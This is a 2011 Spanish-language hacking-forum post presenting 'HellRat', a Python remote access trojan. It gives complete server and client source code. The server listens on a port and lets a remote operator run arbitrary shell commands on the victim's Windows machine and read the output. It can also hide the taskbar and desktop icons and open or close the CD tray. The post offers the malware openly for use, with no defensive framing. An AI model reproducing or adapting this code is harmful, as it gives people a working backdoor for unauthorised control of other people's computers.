elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Python] HellRat By Doddy H
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Python] HellRat By Doddy H  (Leído 1,485 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Python] HellRat By Doddy H
« en: 7 Octubre 2011, 01:37 am »

Hola , aca traigo un troyano en python con las siguientes
opciones

  • Ocultar inicio
  • Mostrar inicio
  • Ocultar barra de tereas
  • Mostrar barra de tareas
  • Abrir CD
  • Cerrar CD
  • Ejecutar comandos
  • Mostrar informacion

server.py

Código
  1. #!usr/bin/python
  2. #Hell RAt (C) Doddy Hackman 2011
  3.  
  4. import socket,os,re,win32api,win32gui,win32con,ctypes,subprocess
  5.  
  6. print "\n\n[+] Online\n\n"
  7.  
  8. slave = socket.socket()
  9. slave.bind(("",666))
  10. slave.listen(999)
  11.  
  12. a,b = slave.accept()
  13.  
  14. while True:
  15. rex = a.recv(20)
  16. if re.findall("getso",rex):
  17.  z = os.name
  18.  a.send(z)
  19. if re.findall("getpath",rex):
  20.  h = os.getcwd()
  21.  a.send(h)
  22. if re.findall("ocultarinicio",rex):
  23.  x = win32gui.FindWindow("Shell_TrayWnd","")
  24.  win32gui.ShowWindow(x,win32con.SW_HIDE)
  25. elif re.findall("mostrarinicio",rex):
  26.  x = win32gui.FindWindow("Shell_TrayWnd","")
  27.  win32gui.ShowWindow(x,win32con.SW_SHOWNORMAL)
  28. elif re.findall("ocultaricono",rex):
  29.  x = win32gui.FindWindow(0,"Program Manager")
  30.  win32gui.ShowWindow(x,win32con.SW_HIDE)
  31. elif re.findall("mostraricono",rex):
  32.  x = win32gui.FindWindow(0,"Program Manager")
  33.  win32gui.ShowWindow(x,win32con.SW_SHOWNORMAL)
  34. elif re.findall("abrircd",rex):
  35.  ctypes.windll.WINMM.mciSendStringW(u"set cdaudio door open", None, 0, None)
  36. elif re.findall("cerrarcd",rex):
  37.  ctypes.windll.WINMM.mciSendStringW(u"set cdaudio door closed", None, 0, None)
  38. else:
  39.  rea = subprocess.Popen(rex,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
  40.  if re:
  41.   a.send(rea.stdout.read())
  42.  else:
  43.   a.send(rea.stderr.read())
  44.  
  45.  
  46. # The End  

cliente.py

Código
  1. #!usr/bin/python
  2. #HellRat (C) Doddy Hackman 2011
  3.  
  4. import os,socket,sys
  5.  
  6. def head():
  7. print "\n\n-- == hELLrAT == --\n\n"
  8.  
  9. def copyright():
  10. print "\n\n(C) Doddy Hackman 2011\n\n"
  11.  
  12. def clean():
  13. if sys.platform=="win32":
  14.  os.system("cls")
  15. else:
  16.  os.system("clear")
  17.  
  18. def men():
  19.  
  20. try:
  21.  ip = raw_input("[+] IP : ")
  22.  client = socket.socket()
  23.  client.connect((ip,666))
  24.  while True:
  25.   clean()
  26.   print "\n\n[+] Welcome to ",ip,"\n\n"
  27.   print "\n\n[1] Informacion"
  28.   print "[2] CMD"
  29.   print "[3] Abrir CD"
  30.   print "[4] Cerrar CD"
  31.   print "[5] Ocultar iconos"
  32.   print "[6] Mostrar iconos"
  33.   print "[7] Ocultar barra de tareas"
  34.   print "[8] Mostrar barra de tareas"
  35.   print "[9] Cambiar IP"
  36.   print "[10] Salir"
  37.   op = input("\n\n[Opcion] : ")
  38.   if op == 1:
  39.    print "\n\n[+] Informacion\n\n"
  40.    client.send("getso")
  41.    so = client.recv(999)
  42.    client.send("getpath")
  43.    path = client.recv(999)
  44.    print "[+] SO : "+so  
  45.    print "[+] Path : "+path
  46.    raw_input()
  47.   if op == 2:
  48.    cmd = raw_input("\n[CMD] : ")
  49.    client.send(cmd)
  50.    code = client.recv(999)
  51.    print code
  52.    raw_input()
  53.   if op == 3:
  54.    client.send("abrircd")
  55.   if op == 4:
  56.    client.send("cerrarcd")
  57.   if op == 5:
  58.    client.send("ocultaricono")
  59.   if op == 6:
  60.    client.send("mostraricono")
  61.   if op == 7:
  62.    client.send("ocultarinicio")
  63.   if op == 8:
  64.    client.send("mostrarinicio")
  65.   if op == 9:
  66.    men()
  67.   if op == 10:
  68.    client.close()
  69.    copyright()
  70.    raw_input()
  71.    sys.exit(1)
  72. except:
  73.  print "\n\n[-] Error\n\n"
  74. head()
  75. men()
  76.  
  77. # The End
  78.  


« Última modificación: 8 Octubre 2011, 19:06 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python] Console By Doddy H
Scripting
BigBear 0 1,471 Último mensaje 7 Octubre 2011, 01:32 am
por BigBear
[Python] Fuzz DNS By Doddy H
Scripting
BigBear 0 1,410 Último mensaje 7 Octubre 2011, 01:34 am
por BigBear
[Python] HTTP Console By Doddy H
Scripting
BigBear 0 1,500 Último mensaje 7 Octubre 2011, 01:37 am
por BigBear
[Python] Phising Gen By Doddy H
Scripting
BigBear 0 1,827 Último mensaje 7 Octubre 2011, 01:39 am
por BigBear
[Python] Zapper By Doddy H
Scripting
BigBear 0 1,460 Último mensaje 7 Octubre 2011, 01:39 am
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines